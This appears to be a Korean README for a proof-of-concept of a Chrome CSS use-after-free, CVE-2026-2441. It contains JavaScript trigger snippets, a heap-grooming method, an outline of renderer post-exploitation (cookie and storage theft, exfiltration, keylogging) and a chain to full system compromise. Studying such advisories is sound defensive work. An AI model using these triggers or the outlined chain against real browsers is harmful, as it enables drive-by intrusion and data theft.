
# CVE-2026-2441 개념 증명 — Chrome CSS use-after-free로 인한 샌드박스 렌더러 RCE Chrome CSS use-after-free 취약점(CVE-2026-2441)에 대한 개념 증명(PoC)으로, 샌드박스 처리된 렌더러에서 원격 코드 실행(RCE)으로 이어집니다. 세 가지 트리거 방법, 힙 그루밍(heap grooming), 상세 분석을 포함합니다.
| 필드 | 값 |
|---|
| CVE | CVE-2026-2441 |
| CVSS | 8.8 (High) |
| 유형 | Use-After-Free (CWE-416) |
| 구성 요소 | Blink CSS — CSSFontFeatureValuesMap |
| 소스 파일 | third_party/blink/renderer/core/css/css_font_feature_values_map.cc |
| 수정 커밋 | 63f3cb4864c64c677cd60c76c8cb49d37d08319c |
| 제보자 | Shaheen Fazim (2026-02-11) |
| 패치 날짜 | 2026-02-13 |
| 야생 악용 | 예 — Google이 적극적인 악용을 확인함 |
| 플랫폼 | 취약한 버전 | 수정된 버전 |
|---|---|---|
| Windows / macOS (Stable) | < 145.0.7632.75 | >= 145.0.7632.75 |
| Linux (Stable) | < 144.0.7559.75 | >= 144.0.7559.75 |
| Windows / macOS (Extended Stable) | < 144.0.7559.177 | >= 144.0.7559.177 |
| Chromium 기반 브라우저 (Edge, Brave, Opera, Vivaldi) | 공급업체 권고 확인 | 다양함 |
FontFeatureValuesMapIterationSource는 내부 FontFeatureAliases HashMap에 대한 원시 포인터(const FontFeatureAliases* aliases_)를 저장했습니다. 반복 중에 set() 또는 delete()를 통해 맵이 변경되면 HashMap이 리해싱되어 새 저장 공간을 할당하고 기존 공간을 해제합니다. 원시 포인터는 댕글링 상태가 되며, 다음 FetchNextItem() 호출 시 해제된 메모리를 읽게 됩니다.
CreateIterationSource()
→ FontFeatureValuesMapIterationSource(map, aliases_)
→ aliases_ = 내부 HashMap에 대한 원시 포인터
→ iterator_ = aliases_->begin()
FetchNextItem()
→ iterator_->key 읽기 (aliases_를 통해)
반복 사이에 map.set() / map.delete()가 호출되면:
→ HashMap 리해싱 (새 할당, 기존 해제)
→ aliases_ → 댕글링 포인터
→ iterator_ → 무효화
→ 다음 FetchNextItem() → USE-AFTER-FREE
- const FontFeatureAliases* aliases_; // 원시 포인터 → 리해싱 후 댕글링
+ const FontFeatureAliases aliases_; // 깊은 복사 → 리해싱에 영향받지 않음
이 수정은 원시 포인터를 HashMap의 깊은 복사로 대체합니다. 원본 맵이 리해싱되더라도 반복자는 자체 복사본에서 작동하므로 댕글링 포인터를 방지합니다.
poc.html을 엽니다.| Chrome 버전 | 예상 동작 |
|---|---|
| < 145.0.7632.75 (패치되지 않음) | Renderer 크래시 — STATUS_ACCESS_VIOLATION (Windows) 또는 SIGSEGV (Linux/macOS). Chrome에 "이 페이지를 열 수 없습니다" 오류가 표시됩니다. |
| >= 145.0.7632.75 (패치됨) | 크래시 없음 — PoC가 완료까지 실행되며 모든 항목이 정상적으로 읽힙니다. |
취약한 Chrome 버전에서 열면 renderer 프로세스가 STATUS_ACCESS_VIOLATION으로 크래시됩니다:
이 페이지를 열 수 없습니다
오류 코드: STATUS_ACCESS_VIOLATION
이는 UAF가 트리거되었음을 확인합니다 — 댕글링 포인터가 해제되었거나 매핑되지 않은 메모리에 접근하여 renderer 프로세스가 종료됩니다.
PoC는 세 가지 독립적인 방법을 통해 UAF를 트리거합니다:
entries() 반복자 + 변경 루프const iterator = map.entries();
while (step < 20) {
iterator.next(); // (이제 댕글링된) 포인터를 통해 읽기
map.delete(key); // 리해싱 트리거
for (i = 0; i < 512; i++)
map.set("spray_" + i, [i]); // 재할당 강제
}
for...of + 동시 변경for (const [k, v] of map) {
map.delete(k);
for (i = 0; i < 512; i++)
map.set("alt_" + i, [i]);
}
requestAnimationFrame + 레이아웃 재계산function rafTrigger() {
document.body.offsetWidth; // 레이아웃 재계산 강제
const result = iterator.next();
map.delete(k);
for (i = 0; i < 512; i++)
map.set("raf_" + i, [i]);
requestAnimationFrame(rafTrigger);
}
각 방법에는 힙 그루밍도 포함됩니다 — 동일한 크기의 @font-feature-values 규칙 50개를 할당하여 잠재적 악용을 위해 힙 레이아웃을 예측 가능하게 만듭니다.
document.cookie, localStorage, sessionStorage, 양식 입력 값 읽기fetch() / WebSocket / sendBeacon()을 통한 외부 유출addEventListener('keydown')을 통한 모든 키 입력 캡처별도의 샌드박스 탈출 취약점과 결합하면:
Renderer RCE (CVE-2026-2441)
→ Mojo IPC 악용 → Browser 프로세스 RCE
→ 커널 악용 → 전체 시스템 장악
→ 악성코드 / 랜섬웨어 / 스파이웨어 설치
→ 파일 시스템 접근, 수평 이동, 지속성 확보
유사한 브라우저 UAF를 사용한 실제 악용 체인:
이 취약점은 드라이브바이 다운로드를 통해 악용 가능합니다 — 악성 페이지를 방문하는 것 외에 사용자 상호작용이 필요 없습니다:
chrome://flags/#site-isolation-trial-opt-out)| 날짜 | 이벤트 |
|---|---|
| 2026-02-11 | Shaheen Fazim이 취약점 제보 |
| 2026-02-13 | Google이 Chrome 145.0.7632.75/76 (Windows/macOS), 144.0.7559.75 (Linux) 릴리스 |
| 2026-02-13 | Google이 야생 악용 인정 |
| 2026-02-16 | Vivaldi와 Opera가 수정 버전 배포 |
이 연구가 유용하다고 생각되면 커피 한 잔 사주시면 감사하겠습니다:
이 개념 증명은 교육 및 공인된 보안 연구 목적으로만 제공됩니다. 명시적 허가 없이 시스템에 이 PoC를 사용하는 것은 불법이며 비윤리적입니다. 작성자는 어떠한 오용에 대해서도 책임을 지지 않습니다.
MIT